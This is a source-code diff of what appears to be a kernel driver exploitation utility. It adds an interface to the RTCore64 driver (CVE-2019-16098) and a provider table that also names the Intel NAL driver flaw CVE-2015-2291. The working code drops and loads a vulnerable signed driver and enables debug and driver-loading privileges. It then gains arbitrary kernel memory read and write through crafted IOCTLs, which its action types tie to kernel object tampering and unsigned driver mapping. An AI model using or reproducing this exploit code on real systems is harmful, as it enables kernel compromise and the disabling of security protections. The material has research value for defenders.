||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG Msr,
|
||||
_Out_ ULONG64* Value
|
||||
)
|
||||
{
|
||||
RTCORE_MSR request;
|
||||
|
||||
*Value = 0;
|
||||
|
||||
RtlSecureZeroMemory(&request, sizeof(request));
|
||||
|
||||
request.Register = Msr;
|
||||
|
||||
if (!RTCoreCallDriver(DeviceHandle,
|
||||
IOCTL_RTCORE_READMSR,
|
||||
&request,
|
||||
sizeof(request)))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*Value = (request.ValueLow & 0xfffff000ul) | ((ULONG64)request.ValueHigh << 32);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCoreReadMemoryPrimitive
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Basic read primitive, reads 4 bytes at once.
|
||||
*
|
||||
*/
|
||||
BOOL RTCoreReadMemoryPrimitive(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG Size,
|
||||
_In_ ULONG_PTR Address,
|
||||
_Out_ ULONG* Value)
|
||||
{
|
||||
RTCORE_REQUEST request;
|
||||
|
||||
*Value = 0;
|
||||
|
||||
if ((Size != sizeof(WORD)) &&
|
||||
(Size != sizeof(ULONG)))
|
||||
{
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
RtlSecureZeroMemory(&request, sizeof(request));
|
||||
|
||||
request.Address = Address;
|
||||
request.Size = Size;
|
||||
|
||||
if (RTCoreCallDriver(DeviceHandle,
|
||||
IOCTL_RTCORE_READVM,
|
||||
&request,
|
||||
sizeof(RTCORE_REQUEST)))
|
||||
{
|
||||
*Value = request.Value;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCoreWriteMemoryPrimitive
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Basic write primitive, writes 4 bytes at once.
|
||||
*
|
||||
*/
|
||||
BOOL RTCoreWriteMemoryPrimitive(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ DWORD Size,
|
||||
_In_ ULONG_PTR Address,
|
||||
_In_ ULONG Value)
|
||||
{
|
||||
RTCORE_REQUEST request;
|
||||
|
||||
if ((Size != sizeof(WORD)) &&
|
||||
(Size != sizeof(ULONG)))
|
||||
{
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
RtlSecureZeroMemory(&request, sizeof(request));
|
||||
|
||||
request.Address = Address;
|
||||
request.Size = Size;
|
||||
request.Value = Value;
|
||||
|
||||
return RTCoreCallDriver(DeviceHandle,
|
||||
IOCTL_RTCORE_WRITEVM,
|
||||
&request,
|
||||
sizeof(RTCORE_REQUEST));
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCoreReadMemoryULONG
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Read ULONG from kernel.
|
||||
*
|
||||
*/
|
||||
BOOL RTCoreReadMemoryULONG(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR Address,
|
||||
_Out_ ULONG* Value)
|
||||
{
|
||||
ULONG valueRead = 0;
|
||||
|
||||
*Value = 0;
|
||||
|
||||
if (RTCoreReadMemoryPrimitive(DeviceHandle,
|
||||
sizeof(ULONG),
|
||||
Address,
|
||||
&valueRead))
|
||||
{
|
||||
*Value = valueRead;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCoreReadMemoryULONG64
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Read ULONG64 from kernel.
|
||||
*
|
||||
*/
|
||||
BOOL RTCoreReadMemoryULONG64(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR Address,
|
||||
_Out_ ULONG64* Value)
|
||||
{
|
||||
ULONG valueLow = 0, valueHigh = 0;
|
||||
|
||||
*Value = 0;
|
||||
|
||||
if (!RTCoreReadMemoryULONG(DeviceHandle,
|
||||
Address + sizeof(ULONG),
|
||||
&valueHigh))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!RTCoreReadMemoryULONG(DeviceHandle,
|
||||
Address,
|
||||
&valueLow))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*Value = ((ULONG64)valueHigh << 32) | valueLow;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCoreWriteMemoryULONG
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Write ULONG to kernel.
|
||||
*
|
||||
*/
|
||||
BOOL RTCoreWriteMemoryULONG(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR Address,
|
||||
_In_ ULONG Value
|
||||
)
|
||||
{
|
||||
return RTCoreWriteMemoryPrimitive(DeviceHandle,
|
||||
sizeof(ULONG),
|
||||
Address,
|
||||
Value);
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCoreWriteMemoryULONG64
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Write ULONG64 to kernel.
|
||||
*
|
||||
*/
|
||||
BOOL RTCoreWriteMemoryULONG64(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR Address,
|
||||
_In_ ULONG64 Value)
|
||||
{
|
||||
if (RTCoreWriteMemoryPrimitive(DeviceHandle,
|
||||
sizeof(ULONG),
|
||||
Address,
|
||||
Value & 0xfffffffful))
|
||||
{
|
||||
return RTCoreWriteMemoryPrimitive(DeviceHandle,
|
||||
sizeof(ULONG),
|
||||
Address + sizeof(ULONG),
|
||||
Value >> 32);
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCoreReadVirtualMemory
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Read virtual memory via RTCore64.
|
||||
* Input buffer length must be aligned to ULONG
|
||||
*
|
||||
*/
|
||||
_Success_(return != FALSE)
|
||||
BOOL RTCoreReadVirtualMemory(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes)
|
||||
{
|
||||
if ((NumberOfBytes % sizeof(ULONG)) != 0)
|
||||
return FALSE;
|
||||
|
||||
PULONG BufferPtr = (PULONG)Buffer;
|
||||
|
||||
ULONG_PTR virtAddress = VirtualAddress;
|
||||
ULONG valueRead, readBytes = 0;
|
||||
|
||||
for (ULONG i = 0; i < (NumberOfBytes / sizeof(ULONG)); i++) {
|
||||
|
||||
if (!RTCoreReadMemoryULONG(DeviceHandle, virtAddress, &valueRead))
|
||||
break;
|
||||
|
||||
BufferPtr[i] = valueRead;
|
||||
virtAddress += sizeof(ULONG);
|
||||
readBytes += sizeof(ULONG);
|
||||
}
|
||||
|
||||
return (readBytes == NumberOfBytes);
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCoreWriteVirtualMemory
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Write virtual memory via RTCore64.
|
||||
* Input buffer length must be aligned to ULONG
|
||||
*
|
||||
*/
|
||||
_Success_(return != FALSE)
|
||||
BOOL RTCoreWriteVirtualMemory(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes
|
||||
)
|
||||
{
|
||||
if ((NumberOfBytes % sizeof(ULONG)) != 0)
|
||||
return FALSE;
|
||||
|
||||
PULONG BufferPtr = (PULONG)Buffer;
|
||||
|
||||
ULONG_PTR virtAddress = VirtualAddress;
|
||||
ULONG valueWrite, writeBytes = 0;
|
||||
|
||||
for (ULONG i = 0; i < (NumberOfBytes / sizeof(ULONG)); i++) {
|
||||
|
||||
valueWrite = BufferPtr[i];
|
||||
if (!RTCoreWriteMemoryULONG(DeviceHandle, virtAddress, valueWrite))
|
||||
break;
|
||||
|
||||
virtAddress += sizeof(ULONG);
|
||||
writeBytes += sizeof(ULONG);
|
||||
}
|
||||
|
||||
return (writeBytes == NumberOfBytes);
|
||||
}
|
|
@ -0,0 +1,69 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: RTCORE.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* RTCore64 driver interface header.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
//
|
||||
// RTCore64 driver interface for CVE-2019-16098.
|
||||
//
|
||||
|
||||
#define RTCORE_DEVICE_TYPE (DWORD)0x8000
|
||||
|
||||
#define RTCORE_FUNCTION_READMSR (DWORD)0x80C
|
||||
#define RTCORE_FUNCTION_READVM (DWORD)0x812
|
||||
#define RTCORE_FUNCTION_WRITEVM (DWORD)0x813
|
||||
|
||||
#define IOCTL_RTCORE_READMSR CTL_CODE(RTCORE_DEVICE_TYPE, RTCORE_FUNCTION_READMSR, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80002030
|
||||
#define IOCTL_RTCORE_READVM CTL_CODE(RTCORE_DEVICE_TYPE, RTCORE_FUNCTION_READVM, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80002048
|
||||
#define IOCTL_RTCORE_WRITEVM CTL_CODE(RTCORE_DEVICE_TYPE, RTCORE_FUNCTION_WRITEVM, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x8000204C
|
||||
|
||||
typedef struct _RTCORE_REQUEST {
|
||||
ULONG_PTR Unknown0;
|
||||
ULONG_PTR Address;
|
||||
ULONG_PTR Unknown1;
|
||||
ULONG Size;
|
||||
ULONG Value;
|
||||
ULONG_PTR Unknown2;
|
||||
ULONG_PTR Unknown3;
|
||||
} RTCORE_REQUEST, * PRTCORE_REQUEST;
|
||||
|
||||
typedef struct _RTCORE_MSR {
|
||||
ULONG Register;
|
||||
ULONG ValueHigh;
|
||||
ULONG ValueLow;
|
||||
} RTCORE_MSR, * PRTCORE_MSR;
|
||||
|
||||
BOOL RTCoreReadMsr(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG Msr,
|
||||
_Out_ ULONG64* Value);
|
||||
|
||||
_Success_(return != FALSE)
|
||||
BOOL RTCoreReadVirtualMemory(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
||||
|
||||
_Success_(return != FALSE)
|
||||
BOOL RTCoreWriteVirtualMemory(
|
||||
_In_ HANDLE DeviceHandle,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes);
|
|
@ -0,0 +1,145 @@
|
|||
/************************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2018, translated from Microsoft sources/debugger
|
||||
*
|
||||
* TITLE: IRP.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 10 Feb 2018
|
||||
*
|
||||
* Header file for IRP/STACK_LOCATION define.
|
||||
*
|
||||
* WARNING: structures opaque and incomplete.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
************************************************************************************/
|
||||
#pragma once
|
||||
|
||||
typedef
|
||||
VOID
|
||||
(NTAPI* PIO_APC_ROUTINE) (
|
||||
_In_ PVOID ApcContext,
|
||||
_In_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_In_ ULONG Reserved
|
||||
);
|
||||
|
||||
typedef struct _IO_STACK_LOCATION {
|
||||
UCHAR MajorFunction;
|
||||
UCHAR MinorFunction;
|
||||
UCHAR Flags;
|
||||
UCHAR Control;
|
||||
//incomplete
|
||||
} IO_STACK_LOCATION, * PIO_STACK_LOCATION;
|
||||
|
||||
typedef struct _KAPC {
|
||||
UCHAR Type;
|
||||
UCHAR SpareByte0;
|
||||
UCHAR Size;
|
||||
UCHAR SpareByte1;
|
||||
ULONG SpareLong0;
|
||||
struct _KTHREAD* Thread;
|
||||
LIST_ENTRY ApcListEntry;
|
||||
PVOID Reserved[3];
|
||||
PVOID NormalContext;
|
||||
PVOID SystemArgument1;
|
||||
PVOID SystemArgument2;
|
||||
CCHAR ApcStateIndex;
|
||||
KPROCESSOR_MODE ApcMode;
|
||||
BOOLEAN Inserted;
|
||||
} KAPC, * PKAPC, * PRKAPC;
|
||||
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable:4324) // structure padded due to __declspec(align())
|
||||
typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _IRP {
|
||||
CSHORT Type;
|
||||
USHORT Size;
|
||||
PVOID MdlAddress;
|
||||
ULONG Flags;
|
||||
|
||||
union {
|
||||
struct _IRP* MasterIrp;
|
||||
__volatile LONG IrpCount;
|
||||
PVOID SystemBuffer;
|
||||
} AssociatedIrp;
|
||||
|
||||
LIST_ENTRY ThreadListEntry;
|
||||
IO_STATUS_BLOCK IoStatus;
|
||||
KPROCESSOR_MODE RequestorMode;
|
||||
BOOLEAN PendingReturned;
|
||||
CHAR StackCount;
|
||||
CHAR CurrentLocation;
|
||||
BOOLEAN Cancel;
|
||||
KIRQL CancelIrql;
|
||||
CCHAR ApcEnvironment;
|
||||
UCHAR AllocationFlags;
|
||||
PIO_STATUS_BLOCK UserIosb;
|
||||
PVOID UserEvent;
|
||||
union {
|
||||
struct {
|
||||
union {
|
||||
PIO_APC_ROUTINE UserApcRoutine;
|
||||
PVOID IssuingProcess;
|
||||
};
|
||||
PVOID UserApcContext;
|
||||
} AsynchronousParameters;
|
||||
LARGE_INTEGER AllocationSize;
|
||||
} Overlay;
|
||||
|
||||
__volatile PVOID CancelRoutine;
|
||||
|
||||
PVOID UserBuffer;
|
||||
|
||||
union {
|
||||
|
||||
struct {
|
||||
|
||||
union {
|
||||
|
||||
KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
|
||||
|
||||
struct {
|
||||
PVOID DriverContext[4];
|
||||
};
|
||||
|
||||
};
|
||||
|
||||
PVOID Thread;
|
||||
PCHAR AuxiliaryBuffer;
|
||||
|
||||
struct {
|
||||
|
||||
LIST_ENTRY ListEntry;
|
||||
|
||||
union {
|
||||
|
||||
struct _IO_STACK_LOCATION* CurrentStackLocation;
|
||||
ULONG PacketType;
|
||||
};
|
||||
};
|
||||
|
||||
PVOID OriginalFileObject;
|
||||
|
||||
} Overlay;
|
||||
|
||||
//incomplete
|
||||
|
||||
} Tail;
|
||||
|
||||
} IRP;
|
||||
#pragma warning(pop)
|
||||
|
||||
typedef IRP* PIRP;
|
||||
|
||||
FORCEINLINE
|
||||
PIO_STACK_LOCATION
|
||||
IoGetCurrentIrpStackLocation(
|
||||
_In_ PIRP Irp
|
||||
)
|
||||
{
|
||||
return Irp->Tail.Overlay.CurrentStackLocation;
|
||||
}
|
|
@ -0,0 +1,493 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: KDUPROV.CPP
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Vulnerable driver providers routines.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "global.h"
|
||||
#include "idrv/nal.h"
|
||||
#include "idrv/rtcore.h"
|
||||
|
||||
//
|
||||
// Since we have a lot of them, make an abstraction layer.
|
||||
//
|
||||
|
||||
KDU_PROVIDER g_KDUProviders[KDU_PROVIDERS_MAX] =
|
||||
{
|
||||
{
|
||||
KDU_MAX_NTBUILDNUMBER,
|
||||
IDR_iQVM64,
|
||||
0,
|
||||
(LPWSTR)L"CVE-2015-2291",
|
||||
(LPWSTR)L"NalDrv",
|
||||
(LPWSTR)L"Nal",
|
||||
NalReadVirtualMemoryEx,
|
||||
NalWriteVirtualMemoryEx,
|
||||
NalVirtualToPhysical,
|
||||
(provReadControlRegister)KDUProviderStub,
|
||||
(provReadPhysicalMemory)KDUProviderStub,
|
||||
(provWritePhysicalMemory)KDUProviderStub,
|
||||
(provRegisterDriver)KDUProviderStub,
|
||||
(provUnregisterDriver)KDUProviderStub
|
||||
},
|
||||
|
||||
{
|
||||
KDU_MAX_NTBUILDNUMBER,
|
||||
IDR_RTCORE64,
|
||||
0,
|
||||
(LPWSTR)L"CVE-2019-16098",
|
||||
(LPWSTR)L"RTCore64",
|
||||
(LPWSTR)L"RTCore64",
|
||||
RTCoreReadVirtualMemory,
|
||||
RTCoreWriteVirtualMemory,
|
||||
(provVirtualToPhysical)KDUProviderStub,
|
||||
(provReadControlRegister)KDUProviderStub,
|
||||
(provReadPhysicalMemory)KDUProviderStub,
|
||||
(provWritePhysicalMemory)KDUProviderStub,
|
||||
(provRegisterDriver)KDUProviderStub,
|
||||
(provUnregisterDriver)KDUProviderStub
|
||||
}
|
||||
};
|
||||
|
||||
/*
|
||||
* KDUProvList
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Output available providers.
|
||||
*
|
||||
*/
|
||||
VOID KDUProvList()
|
||||
{
|
||||
KDU_PROVIDER *prov;
|
||||
|
||||
printf_s("[>] Entering %s\r\n", __FUNCTION__);
|
||||
|
||||
for (ULONG i = 0; i < KDU_PROVIDERS_MAX; i++) {
|
||||
prov = &g_KDUProviders[i];
|
||||
|
||||
printf_s("Provider: Id %lu\r\n\t%ws, DriverName \"%ws\", DeviceName \"%ws\"\r\n",
|
||||
i,
|
||||
prov->Desciption,
|
||||
prov->DriverName,
|
||||
prov->DeviceName);
|
||||
|
||||
printf_s("\tHVCI support %lu, MaxNtBuildNumberSupport 0x%lX\r\n",
|
||||
prov->HvciSupport,
|
||||
prov->MaxNtBuildNumberSupport);
|
||||
}
|
||||
|
||||
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUProvStartVulnerableDriver
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Load vulnerable driver and return handle for it device or NULL in case of error.
|
||||
*
|
||||
*/
|
||||
HANDLE KDUProvStartVulnerableDriver(
|
||||
_In_ ULONG uResourceId,
|
||||
_In_ HINSTANCE hInstance,
|
||||
_In_ LPWSTR lpDriverName,
|
||||
_In_ LPWSTR lpDeviceName,
|
||||
_In_ LPWSTR lpFullFileName
|
||||
)
|
||||
{
|
||||
BOOL bLoaded = FALSE;
|
||||
PBYTE drvBuffer;
|
||||
NTSTATUS ntStatus;
|
||||
ULONG resourceSize = 0, writeBytes;
|
||||
HANDLE deviceHandle = NULL;
|
||||
|
||||
//
|
||||
// Check if driver already loaded.
|
||||
//
|
||||
if (supIsObjectExists((LPWSTR)L"\\Device", lpDeviceName)) {
|
||||
printf_s("[!] Vulnerable driver already loaded\r\n");
|
||||
bLoaded = TRUE;
|
||||
}
|
||||
else {
|
||||
|
||||
//
|
||||
// Driver is not loaded, load it.
|
||||
//
|
||||
|
||||
drvBuffer = supQueryResourceData(uResourceId, hInstance, &resourceSize);
|
||||
if (drvBuffer == NULL) {
|
||||
printf_s("[!] Driver resource id not found %lu\r\n", uResourceId);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf_s("[+] Extracting vulnerable driver as \"%ws\"\r\n", lpFullFileName);
|
||||
|
||||
writeBytes = (ULONG)supWriteBufferToFile(lpFullFileName,
|
||||
drvBuffer,
|
||||
resourceSize,
|
||||
TRUE,
|
||||
FALSE,
|
||||
&ntStatus);
|
||||
|
||||
supHeapFree(drvBuffer);
|
||||
|
||||
if (resourceSize != writeBytes) {
|
||||
printf_s("[!] Unable to extract vulnerable driver, NTSTATUS (0x%lX)\r\n", ntStatus);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ntStatus = supLoadDriver(lpDriverName, lpFullFileName, FALSE);
|
||||
if (NT_SUCCESS(ntStatus)) {
|
||||
printf_s("[+] Vulnerable driver \"%ws\" loaded\r\n", lpDriverName);
|
||||
bLoaded = TRUE;
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Unable to load vulnerable driver, NTSTATUS (0x%lX)\r\n", ntStatus);
|
||||
DeleteFile(lpFullFileName);
|
||||
}
|
||||
}
|
||||
|
||||
if (bLoaded) {
|
||||
ntStatus = supOpenDriver(lpDeviceName, &deviceHandle);
|
||||
if (!NT_SUCCESS(ntStatus))
|
||||
printf_s("[!] Unable to open vulnerable driver, NTSTATUS (0x%lX)\r\n", ntStatus);
|
||||
else
|
||||
printf_s("[+] Vulnerable driver opened\r\n");
|
||||
}
|
||||
return deviceHandle;
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUProvStopVulnerableDriver
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Unload previously loaded vulnerable driver.
|
||||
*
|
||||
*/
|
||||
void KDUProvStopVulnerableDriver(
|
||||
_In_ LPWSTR lpDriverName,
|
||||
_In_ LPWSTR lpFullFileName
|
||||
)
|
||||
{
|
||||
NTSTATUS ntStatus;
|
||||
|
||||
ntStatus = supUnloadDriver(lpDriverName, TRUE);
|
||||
if (!NT_SUCCESS(ntStatus)) {
|
||||
printf_s("[!] Unable to unload vulnerable driver, NTSTATUS (0x%lX)\r\n", ntStatus);
|
||||
}
|
||||
else {
|
||||
|
||||
printf_s("[+] Vulnerable driver unloaded\r\n");
|
||||
ULONG retryCount = 3;
|
||||
|
||||
do {
|
||||
Sleep(1000);
|
||||
if (DeleteFile(lpFullFileName)) {
|
||||
printf_s("[+] Vulnerable driver file removed\r\n");
|
||||
break;
|
||||
}
|
||||
|
||||
retryCount--;
|
||||
|
||||
} while (retryCount);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUVirtualToPhysical
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Provider wrapper for VirtualToPhysical routine.
|
||||
*
|
||||
*/
|
||||
BOOL WINAPI KDUVirtualToPhysical(
|
||||
_In_ KDU_CONTEXT* Context,
|
||||
_In_ ULONG_PTR VirtualAddress,
|
||||
_Out_ ULONG_PTR* PhysicalAddress)
|
||||
{
|
||||
KDU_PROVIDER* prov = Context->Provider;
|
||||
|
||||
if (prov->Callbacks.VirtualToPhysical == NULL)
|
||||
return FALSE;
|
||||
|
||||
return prov->Callbacks.VirtualToPhysical(Context->DeviceHandle,
|
||||
VirtualAddress,
|
||||
PhysicalAddress);
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUReadKernelVM
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Provider wrapper for ReadKernelVM routine.
|
||||
*
|
||||
*/
|
||||
_Success_(return != FALSE)
|
||||
BOOL WINAPI KDUReadKernelVM(
|
||||
_In_ KDU_CONTEXT * Context,
|
||||
_In_ ULONG_PTR Address,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes)
|
||||
{
|
||||
KDU_PROVIDER* prov = Context->Provider;
|
||||
|
||||
if (Address < Context->MaximumUserModeAddress) {
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return prov->Callbacks.ReadKernelVM(Context->DeviceHandle,
|
||||
Address,
|
||||
Buffer,
|
||||
NumberOfBytes);
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUWriteKernelVM
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Provider wrapper for WriteKernelVM routine.
|
||||
*
|
||||
*/
|
||||
_Success_(return != FALSE)
|
||||
BOOL WINAPI KDUWriteKernelVM(
|
||||
_In_ KDU_CONTEXT * Context,
|
||||
_In_ ULONG_PTR Address,
|
||||
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
|
||||
_In_ ULONG NumberOfBytes)
|
||||
{
|
||||
KDU_PROVIDER* prov = Context->Provider;
|
||||
|
||||
if (Address < Context->MaximumUserModeAddress) {
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return prov->Callbacks.WriteKernelVM(Context->DeviceHandle,
|
||||
Address,
|
||||
Buffer,
|
||||
NumberOfBytes);
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUProviderStub
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Stub routine.
|
||||
*
|
||||
*/
|
||||
BOOL WINAPI KDUProviderStub(
|
||||
VOID)
|
||||
{
|
||||
SetLastError(ERROR_UNSUPPORTED_TYPE);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUProviderCreate
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Create Provider to work with it.
|
||||
*
|
||||
*/
|
||||
PKDU_CONTEXT WINAPI KDUProviderCreate(
|
||||
_In_ ULONG ProviderId,
|
||||
_In_ ULONG HvciEnabled,
|
||||
_In_ ULONG NtBuildNumber,
|
||||
_In_ HINSTANCE ModuleBase,
|
||||
_In_ KDU_ACTION_TYPE ActionType
|
||||
)
|
||||
{
|
||||
if (ProviderId >= KDU_PROVIDERS_MAX)
|
||||
ProviderId = KDU_PROVIDER_DEFAULT;
|
||||
|
||||
KDU_PROVIDER* prov = &g_KDUProviders[ProviderId];
|
||||
|
||||
//
|
||||
// Show provider info.
|
||||
//
|
||||
printf_s("[>] Entering %s\r\n", __FUNCTION__);
|
||||
printf_s("[+] Selected KDU Provider: Desciption %ws, Name \"%ws\"\r\n",
|
||||
prov->Desciption,
|
||||
prov->DriverName);
|
||||
|
||||
//
|
||||
// Check HVCI support.
|
||||
//
|
||||
if (HvciEnabled && prov->HvciSupport == 0) {
|
||||
printf_s("[!] Abort: selected provider does not support HVCI\r\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//
|
||||
// Check current Windows NT build number.
|
||||
//
|
||||
if (prov->MaxNtBuildNumberSupport != KDU_MAX_NTBUILDNUMBER) {
|
||||
if (NtBuildNumber >= prov->MaxNtBuildNumberSupport) {
|
||||
printf_s("[!] Abort: selected provider does not support this Windows NT build\r\n");
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Verify key provider functionality.
|
||||
//
|
||||
switch (ActionType) {
|
||||
|
||||
case ActionTypeDKOM:
|
||||
case ActionTypeMapDriver:
|
||||
|
||||
//
|
||||
// Check if we can read/write.
|
||||
//
|
||||
if ((PVOID)prov->Callbacks.ReadKernelVM == (PVOID)KDUProviderStub ||
|
||||
(PVOID)prov->Callbacks.WriteKernelVM == (PVOID)KDUProviderStub)
|
||||
{
|
||||
printf_s("[!] Abort: selected provider does not support arbitrary kernel read/write or\r\n"\
|
||||
"KDU interface is not implemented for these methods\r\n");
|
||||
|
||||
return NULL;
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
NTSTATUS ntStatus;
|
||||
|
||||
ntStatus = supEnablePrivilege(SE_DEBUG_PRIVILEGE, TRUE);
|
||||
if (!NT_SUCCESS(ntStatus)) {
|
||||
printf_s("[!] Abort: SeDebugPrivilege not assigned! NTSTATUS (0x%lX)\r\n", ntStatus);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ntStatus = supEnablePrivilege(SE_LOAD_DRIVER_PRIVILEGE, TRUE);
|
||||
if (!NT_SUCCESS(ntStatus)) {
|
||||
printf_s("[!] Abort: SeLoadDriverPrivilege not assigned! NTSTATUS (0x%lX)\r\n", ntStatus);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//
|
||||
// Allocate KDU_CONTEXT structure and fill it with data.
|
||||
//
|
||||
KDU_CONTEXT* Context = (KDU_CONTEXT*)supHeapAlloc(sizeof(KDU_CONTEXT));
|
||||
if (Context == NULL)
|
||||
return NULL;
|
||||
|
||||
Context->Provider = &g_KDUProviders[ProviderId];
|
||||
Context->ModuleBase = ModuleBase;
|
||||
Context->NtOsBase = supGetNtOsBase();
|
||||
|
||||
PUNICODE_STRING CurrentDirectory = &NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath;
|
||||
SIZE_T length = 64 +
|
||||
(_strlen(Context->Provider->DriverName) * sizeof(WCHAR)) +
|
||||
CurrentDirectory->Length;
|
||||
|
||||
Context->NtBuildNumber = NtBuildNumber;
|
||||
Context->DriverFileName = (LPWSTR)supHeapAlloc(length);
|
||||
Context->MaximumUserModeAddress = supQueryMaximumUserModeAddress();
|
||||
|
